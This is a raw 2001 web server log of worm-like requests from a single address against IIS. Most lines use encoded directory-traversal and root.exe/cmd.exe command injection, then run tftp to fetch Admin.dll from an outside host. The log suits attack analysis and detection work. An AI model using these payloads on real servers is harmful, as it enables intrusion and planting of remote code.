20010925 09:26:33: [61.177.3.254] "GET /scripts/root.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010925 09:26:34: [61.177.3.254] "GET /scripts/Admin.dll HTTP/1.0" 20010925 09:26:34: [61.177.3.254] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010925 09:26:35: [61.177.3.254] "GET /MSADC/root.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010925 09:26:36: [61.177.3.254] "GET /MSADC/Admin.dll HTTP/1.0" 20010925 09:26:37: [61.177.3.254] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010925 09:26:37: [61.177.3.254] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010925 09:26:38: [61.177.3.254] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010925 09:26:39: [61.177.3.254] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010925 09:26:40: [61.177.3.254] "GET /c/Admin.dll HTTP/1.0" 20010925 09:26:43: [61.177.3.254] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010925 09:26:45: [61.177.3.254] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010925 09:26:45: [61.177.3.254] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010925 09:26:46: [61.177.3.254] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010925 09:26:46: [61.177.3.254] "GET /d/Admin.dll HTTP/1.0" 20010925 09:26:47: [61.177.3.254] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010925 09:26:48: [61.177.3.254] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010925 09:26:48: [61.177.3.254] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010925 09:26:49: [61.177.3.254] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010925 09:26:50: [61.177.3.254] "GET /scripts/..%255c../Admin.dll HTTP/1.0" 20010925 09:26:50: [61.177.3.254] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010925 09:26:51: [61.177.3.254] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010925 09:26:56: [61.177.3.254] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010925 09:26:57: [61.177.3.254] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010925 09:26:59: [61.177.3.254] "GET /_vti_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0" 20010925 09:27:00: [61.177.3.254] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010925 09:27:02: [61.177.3.254] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010925 09:27:03: [61.177.3.254] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010925 09:27:04: [61.177.3.254] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010925 09:27:05: [61.177.3.254] "GET /_mem_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0" 20010925 09:27:06: [61.177.3.254] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010925 09:27:06: [61.177.3.254] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010925 09:27:10: [61.177.3.254] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010925 09:27:11: [61.177.3.254] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010925 09:27:13: [61.177.3.254] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../Admin.dll HTTP/1.0" 20010925 09:27:14: [61.177.3.254] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010925 09:27:15: [61.177.3.254] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010925 09:27:16: [61.177.3.254] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010925 09:27:16: [61.177.3.254] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010925 09:27:17: [61.177.3.254] "GET /scripts/..%c1%1c../Admin.dll HTTP/1.0" 20010925 09:27:18: [61.177.3.254] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010925 09:27:19: [61.177.3.254] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010925 09:27:20: [61.177.3.254] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010925 09:27:20: [61.177.3.254] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010925 09:27:21: [61.177.3.254] "GET /scripts/..%c0%2f../Admin.dll HTTP/1.0" 20010925 09:27:22: [61.177.3.254] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010925 09:27:23: [61.177.3.254] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010925 09:27:24: [61.177.3.254] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010925 09:27:25: [61.177.3.254] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010925 09:27:26: [61.177.3.254] "GET /scripts/..%c0%af../Admin.dll HTTP/1.0" 20010925 09:27:27: [61.177.3.254] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010925 09:27:28: [61.177.3.254] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010925 09:27:29: [61.177.3.254] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010925 09:27:29: [61.177.3.254] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010925 09:27:30: [61.177.3.254] "GET /scripts/..%c1%9c../Admin.dll HTTP/1.0" 20010925 09:27:31: [61.177.3.254] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010925 09:27:31: [61.177.3.254] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010925 09:27:32: [61.177.3.254] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010925 09:27:32: [61.177.3.254] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010925 09:27:33: [61.177.3.254] "GET /scripts/..%%35%63../Admin.dll HTTP/1.0" 20010925 09:27:33: [61.177.3.254] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010925 09:27:34: [61.177.3.254] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010925 09:27:35: [61.177.3.254] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010925 09:27:35: [61.177.3.254] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010925 09:27:36: [61.177.3.254] "GET /scripts/..%%35c../Admin.dll HTTP/1.0" 20010925 09:27:37: [61.177.3.254] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010925 09:27:38: [61.177.3.254] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010925 09:27:39: [61.177.3.254] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010925 09:27:40: [61.177.3.254] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010925 09:27:41: [61.177.3.254] "GET /scripts/..%25%35%63../Admin.dll HTTP/1.0" 20010925 09:27:43: [61.177.3.254] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010925 09:27:44: [61.177.3.254] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010925 09:27:44: [61.177.3.254] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010925 09:27:45: [61.177.3.254] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20192.192.0.1%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010925 09:27:46: [61.177.3.254] "GET /scripts/..%252f../Admin.dll HTTP/1.0" 20010925 09:27:47: apw.fs.uci.edu [128.200.135.94] "GET /scripts/root.exe?/c+dir HTTP/1.0"